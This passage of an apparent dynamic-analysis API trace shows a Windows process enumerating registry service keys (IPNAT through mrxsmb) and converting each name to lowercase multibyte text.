hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0239.421] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0239.421] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0239.421] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0239.422] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0239.422] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0239.422] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0239.422] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0239.422] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0239.423] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0239.423] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0239.423] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0239.423] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0239.423] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0239.423] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0239.424] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0239.424] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0239.424] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0239.424] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0239.424] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0239.425] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0239.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0239.425] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0239.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0239.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0239.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0239.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0239.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0239.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0239.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0239.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0239.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1da8, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0239.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0239.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0239.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0239.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0239.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0239.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0239.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1928, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0239.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0239.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0239.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0239.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0239.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, 